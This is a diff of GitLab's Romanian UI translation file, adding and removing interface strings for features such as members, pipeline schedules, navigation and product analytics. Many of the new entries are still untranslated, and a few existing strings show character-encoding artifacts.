msgid "ImportProjects|Importing the project failed"
msgstr "Importul proiectului a eșuat"
@@ -22195,8 +22441,8 @@ msgstr "Insights"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr "Configurați un raport insights personalizat asupra proceselor grupului, cum ar fi numărul de probleme, bug-uri și merge request-uri pe lună. %{linkStart}Cum se configurează un raport insights?%{linkEnd}"
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
-msgstr "Unele elemente nu sunt vizibile pentru că proiectul a fost filtrat în fișierul insights.yml (consultați configurația projects.only pentru mai multe informații)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
+msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr "Acest proiect este filtrat în fișierul insights.yml (consultați configurația projects.only pentru mai multe informații)."
@@ -22258,9 +22504,18 @@ msgstr "Se adaugă un comentariu la o problemă"
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr "O problemă confidențială este creată, actualizată sau închisă"
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr "Un merge request este creat, actualizat sau fuzionat"
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr "Se schimbă starea unui pipeline"
@@ -22411,6 +22666,9 @@ msgstr "Include titlul commit-ului și ramura."
msgid "Integrations|Instance-level integration management"
msgstr "Gestionarea integrării la nivel de instanță"
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr "Problemele create în Jira sunt afișate aici după ce ați creat problemele în configurarea proiectului în Jira."
@@ -23614,6 +23872,9 @@ msgstr "URL-ul de bază al instanței Jira."
msgid "JiraService|Change GitLab version"
msgstr "Schimbați versiunea GitLab"
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr "Definiți tipul de problemă Jira care urmează să fie creată dintr-o vulnerabilitate."
@@ -23662,6 +23923,9 @@ msgstr "ID-urile trebuie să fie o listă de numere care pot fi separate cu ,
msgid "JiraService|If different from Web URL."
msgstr "Dacă este diferit de URL-ul Web."
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr "Problemele create din vulnerabilități în acest proiect vor fi probleme Jira, chiar dacă problemele GitLab sunt activate."
@@ -23806,9 +24070,6 @@ msgstr "Joburile mai vechi decât timpul configurat sunt considerate expirate ș
msgid "Jobs|All"
msgstr "Toate"
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr "A apărut o eroare la încărcarea filei Joburi eșuate."
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr "Sunteți sigur că vreți să continuați?"
@@ -24124,9 +24385,6 @@ msgstr "Clusterele Kubernetes"
msgid "Kubernetes cluster"
msgstr "Clusterul Kubernetes"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "Timpul de creare a clusterului Kubernetes depășește timpul de expirare; %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "Integrarea și resursele clusterului Kubernetes sunt înlăturate."
@@ -24289,9 +24547,6 @@ msgstr "Ultimul pipeline"
msgid "Last Seen"
msgstr "Văzut(ă) ultima dată"
-msgid "Last Sync"
-msgstr "Ultima sincronizare"
-
msgid "Last Used"
msgstr "Ultima utilizare"
@@ -24424,6 +24679,9 @@ msgstr "Aflați mai multe"
msgid "Learn More."
msgstr "Aflați mai multe."
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24493,9 +24751,6 @@ msgstr "Aflați mai multe despre seat-urile datorate"
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr "Aflați mai multe despre fragmente și replici în documentația de %{configuration_link_start}configurare a Căutării avansate%{configuration_link_end}. Modificările nu au loc până când nu %{recreated_link_start}recreați%{recreated_link_end} indexul."
-msgid "Learn more about signing commits"
-msgstr "Aflați mai multe despre semnarea commit-urilor"
-
msgid "Learn more in the"
msgstr "Aflați mai multe în"
@@ -25255,6 +25510,9 @@ msgstr "Efectuați și revizuiți modificările în browser cu ajutorul IDE Web"
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "Faceți ca toți membrii echipei dvs. să fie mai productivi, indiferent de locația lor. GitLab Geo creează replici doar în citire ale instanței dvs. GitLab, astfel încât să puteți reduce timpul necesar pentru a clona și a prelua repozitoriile mari."
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr "Asigurați-vă că alegeți o parolă puternică și unică."
@@ -25270,9 +25528,6 @@ msgstr "Face ca acest/această %{type} să fie confidențial(ă)."
msgid "Manage %{workspace} labels"
msgstr "Gestionați etichetele pentru %{workspace}"
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr "Gestionați funcțiile Web IDE."
@@ -25372,6 +25627,9 @@ msgstr "Marcați această problemă ca fiind legată de o altă problemă"
msgid "Mark to do as done"
msgstr "Marcați de făcut ca terminat"
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr "Ajutor Markdown"
@@ -25441,9 +25699,6 @@ msgstr "Marcat ca gata. Îmbinarea este acum permisă."
msgid "Marked this %{noun} as ready."
msgstr "Acest/această %{noun} a fost marcat(ă) ca fiind gata."
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr "S-a marcat această problemă ca fiind un duplicat al %{duplicate_param}."
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr "S-a marcat această problemă ca fiind legată de %{issue_ref}."
@@ -25456,9 +25711,6 @@ msgstr "Marcaje"
msgid "Marks this %{noun} as ready."
msgstr "Marchează acest/această %{noun} ca fiind gata."
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr "Marchează această problemă ca duplicat de %{duplicate_reference}."
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr "Marchează această problemă ca fiind legată de %{issue_ref}."
@@ -25798,6 +26050,9 @@ msgstr "Invitație de aderare la %{project_or_group} %{project_or_group_name}"
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25837,6 +26092,9 @@ msgstr[2] "Abonamentul dvs. include %d de seat-uri."
msgid "Membership"
msgstr "Apartenență"
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr "%{time} de %{user}"
@@ -25846,6 +26104,21 @@ msgstr "%{userName} este în prezent un utilizator LDAP. Editarea permisiunilor
msgid "Members|2FA"
msgstr "2FA"
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr "A apărut o eroare în timpul încercării de activare a ignorării LDAP, vă rugăm să încercați din nou."
@@ -25867,11 +26140,11 @@ msgstr "Sunteți sigur că doriți să părăsiți „%{source}�"
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr "Sunteți sigur că doriți să înlăturați „%{groupName}�"
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
-msgstr "Sunteți sigur că doriți să înlăturați %{usersName} din \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
+msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
-msgstr "Sunteți sigur că doriți să înlăturați acest membru orfan din „%{source}�"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
+msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
msgstr "SunteÈ›i sigur că doriÈ›i să revocaÈ›i invitaÈ›ia pentru %{inviteEmail} de a se alătura „%{source}â€"
@@ -25879,9 +26152,15 @@ msgstr "Sunteți sigur că doriți să revocați invitația pentru %{inviteEmail
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr "SunteÈ›i sigur că doriÈ›i să vă retrageÈ›i cererea de acces pentru „%{source}â€"
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr "Direct"
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr "dezactivat"
@@ -25909,6 +26188,9 @@ msgstr "Moștenit"
msgid "Members|LDAP override enabled."
msgstr "Ignorarea LDAP este activată."
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr "Ieșire din %{source}"
@@ -25936,6 +26218,12 @@ msgstr "Căutați grupuri"
msgid "Members|Search invited"
msgstr "Căutați invitați"
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr "Refuzați accesul"
@@ -26221,11 +26509,14 @@ msgstr "Eroare la respingerea sugestiei popover. Vă rugăm să încercați din
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Eroare la încărcarea întregului diff. Vă rugăm să încercați din nou."
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "Nu au fost găsite fișiere"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
-msgstr "Căutare (de exemplu, *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
+msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
msgstr "%{sourceTopic} va fi înlăturat"
@@ -26284,6 +26575,9 @@ msgstr "Mesaj"
msgid "Messages"
msgstr "Mesaje"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr "Metodă"
@@ -26713,6 +27007,12 @@ msgstr "Căutați obiective"
msgid "MilestoneCombobox|Select milestone"
msgstr "Selectați obiective"
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "ÃŽnchise:"
@@ -27109,6 +27409,9 @@ msgstr "Sunt acceptate mai multe intervale de adrese IP. Nu afectează accesul l
msgid "Multiple Prometheus integrations are not supported"
msgstr "Integrările multiple Prometheus nu sunt acceptate"
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr "Multiplicator aplicabil intervalelor de sondare. Sunt acceptate valorile zecimale. Valoarea implicită este 1."
@@ -27133,6 +27436,9 @@ msgstr "NOU"
msgid "Name"
msgstr "Nume"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr "Numele nu poate fi necompletat"
@@ -27142,6 +27448,9 @@ msgstr "Numele a fost deja luat"
msgid "Name is already taken."
msgstr "Numele este deja luat."
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Denumiți noua etichetă"
@@ -27166,24 +27475,36 @@ msgstr[0] "%{namespace_name} conține %{locked_project_count} proiect blocat"
msgstr[1] "%{namespace_name} conține %{locked_project_count} proiecte blocate"
msgstr[2] "%{namespace_name} conține %{locked_project_count} de proiecte blocate"
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
-msgstr "%{namespace_name} este acum numai în citire. Nu puteți: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
-msgstr "Dacă ajungeți la 100%% din capacitatea de stocare, nu veți mai putea: %{base_message}"
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
-msgstr "Vă rugăm să achiziționați spațiu de stocare suplimentar pentru a vă debloca proiectele care depășesc limita proiectelor gratuite %{free_size_limit}. Nu puteți %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
-msgstr "Ați consumat tot spațiul de stocare suplimentar, vă rugăm să achiziționați mai mult pentru a vă debloca proiectele peste limita gratuită %{free_size_limit}. Nu puteți %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
+msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
-msgstr "Ați atins %{usage_in_percent} din capacitatea de stocare a %{namespace_name} (%{used_storage} din %{storage_limit})"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
+msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr "Ați atins limita de stocare liberă de %{free_size_limit} pe unul sau mai multe proiecte."
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr "faceți push către repozitoriul dvs., creați pipeline-uri, creați probleme sau adăugați comentarii. Pentru a reduce capacitatea de stocare, ștergeți repozitoriile, artefactele, wiki-urile, problemele și pipeline-urile neutilizate."
@@ -27277,6 +27598,27 @@ msgstr "Roșu deschis"
msgid "NavigationTheme|Red"
msgstr "Roșu"
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Ajutor"
@@ -27406,9 +27748,6 @@ msgstr "Nouă cheie de implementare"
msgid "New directory"
msgstr "Director nou"
-msgid "New discussion"
-msgstr "Discuție nouă"
-
msgid "New email address added"
msgstr "Adresă de e-mail nouă adăugată"
@@ -27724,9 +28063,6 @@ msgstr "Nicio etichetă"
msgid "No labels with such name or description"
msgstr "Nicio etichetă cu un astfel de nume sau descriere"
-msgid "No license. All rights reserved"
-msgstr "Fără licență. Toate drepturile rezervate"
-
msgid "No matches found"
msgstr "Nu s-au găsit potriviri"
@@ -27904,6 +28240,21 @@ msgstr "Niciunul dintre obiectivele grupului nu are același proiect ca și vers
msgid "Normal text"
msgstr "Text normal"
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr "Nu toate browserele sunt compatibile cu dispozitivele U2F. Prin urmare, vă solicităm să configurați mai întâi o aplicație de autentificare cu doi factori. În acest fel, veți putea să vă conectați întotdeauna - chiar și atunci când utilizați un browser neacceptat."
@@ -28444,14 +28795,8 @@ msgstr "Nuget metadatum trebuie să aibă cel puțin license_url, project_url sa
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr "Numărul de fragmente și replici Elasticsearch pe index:"
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr "Numărul de împingeri Git după care %{code_start}git gc%{code_end} este executat."
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr "Numărul de împingeri Git după care se execută un %{code_start}git repack%{code_end} complet."
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
-msgstr "Numărul de împingeri Git după care se execută un %{code_start}git repack%{code_end} incremental."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
+msgstr ""
msgid "Number of LOCs per commit"
msgstr "Numărul de LOC-uri pe commit"
@@ -28501,6 +28846,18 @@ msgstr ""
msgid "Observability"
msgstr "Observabilitate"
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "Oct"
@@ -28930,6 +29287,9 @@ msgstr "Unul sau mai multe fișiere de dependență nu sunt acceptate, iar lista
msgid "One or more of your personal access tokens has expired."
msgstr "Unul sau mai multe dintre tokenurile dvs. de acces personal a expirat."
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr "Unul sau mai multe dintre tokenurile dvs. de acces personal vor expira în %{days_to_expire} zile sau mai puțin:"
@@ -29095,6 +29455,9 @@ msgstr "Tablou de bord de operațiuni oferă un rezumat al stării de sănătate
msgid "Opstrace endpoint for Error Tracking integration"
msgstr "Punctul final Opstrace pentru integrarea urmăririi erorilor"
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr "Optimizează-ți fluxul de lucru cu pipeline-urile CI/CD"
@@ -29521,12 +29884,6 @@ msgstr "Comanda de instalare Gradle Kotlin DSL"
msgid "PackageRegistry|Helm"
msgstr "Helm"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr "Ajutați-ne să aflăm despre nevoile dvs. de migrare a registrului"
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr "Dacă sunteți interesat în migrarea pachetelor din registrul privat în registrul de pachete GitLab, răspundeți la sondajul nostru și spuneți-ne mai multe despre nevoile dvs."
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Dacă nu ați făcut-o deja, va trebui să adăugați următoarele la fișierul d-voastră %{codeStart}.pypirc%{codeEnd}."
@@ -29686,9 +30043,6 @@ msgstr "Ne pare rău, filtrul dvs. nu a produs rezultate"
msgid "PackageRegistry|Source project located at %{link}"
msgstr "Proiectul sursă se află la %{link}"
-msgid "PackageRegistry|Take survey"
-msgstr "Răspundeți la sondaj"
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr "SHA țintă: %{sha}"
@@ -29833,12 +30187,6 @@ msgstr ""
msgid "Parent"
msgstr "Părinte"
-msgid "Parent epic doesn't exist."
-msgstr "Epica părinte nu există."
-
-msgid "Parent epic is not present."
-msgstr "Epica părinte nu este prezentă."
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr "Eroare de analiză pentru parametrul :embed_json. %{message}"
@@ -30370,8 +30718,8 @@ msgstr "Validarea conductelor... Poate dura până la un minut."
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr "În așteptarea încărcării conținutului CI..."
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
-msgstr "Personalizat (%{linkStart}Sintaxă Cron%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
+msgstr ""
msgid "PipelineSchedules|Activated"
msgstr "Activat"
@@ -30385,6 +30733,9 @@ msgstr "Toate"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr "Sigur doriți să ștergeți acest program de pipeline?"
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr "Ștergeți programul de pipeline"
@@ -30397,6 +30748,9 @@ msgstr "Editați programul de pipeline"
msgid "PipelineSchedules|Inactive"
msgstr "Inactiv"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr "Ultimul pipeline"
@@ -30424,6 +30778,12 @@ msgstr "Furnizați o scurtă descriere pentru acest pipeline"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr "Executați programul de pipeline"
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30442,6 +30802,9 @@ msgstr "A apărut o problemă la ștergerea programului de pipeline."
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr "A apărut o problemă la preluarea programelor de pipeline."
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31396,9 +31759,6 @@ msgstr "Alegeți conținutul implicit pe care doriți să-l vedeți în tabloul
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Alegeți ce conținut doriți să vedeți în pagina de prezentare generală a unui proiect."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr "Culoare pentru linii adăugate"
@@ -31456,6 +31816,9 @@ msgstr "Lățimea aspectului"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "Trebuie să fie un număr între %{min} și %{max}."
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr "Previzualizare"
@@ -31483,7 +31846,10 @@ msgstr "Tema de evidențiere a sintaxei"
msgid "Preferences|Tab width"
msgstr "Lățimea tab-ului"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31498,9 +31864,6 @@ msgstr "Această setare vă permite să personalizați comportamentul aspectului
msgid "Preferences|Time preferences"
msgstr "Preferințele de timp"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr "Utilizați timpi relativi"
@@ -31612,6 +31975,9 @@ msgstr "Grup(uri) privat(e)"
msgid "Private profile"
msgstr "Profil privat"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr "Factorul de cost pentru Minutele proiectelor private"
@@ -31624,27 +31990,228 @@ msgstr "Problemă cu comanda %{name}: %{message}."
msgid "Proceed"
msgstr "Continuați"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr "Audiență"
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr "În prezent, nu există date pentru acest tip de grafic. Vă rugăm să consultați fila „Configurare†dacă nu ați configurat deja instrumentul de analiză a produsului."
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr "Productivitate"
@@ -32299,6 +32866,18 @@ msgstr "Afișați mai mult"
msgid "ProjectLastActivity|Never"
msgstr "Niciodată"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
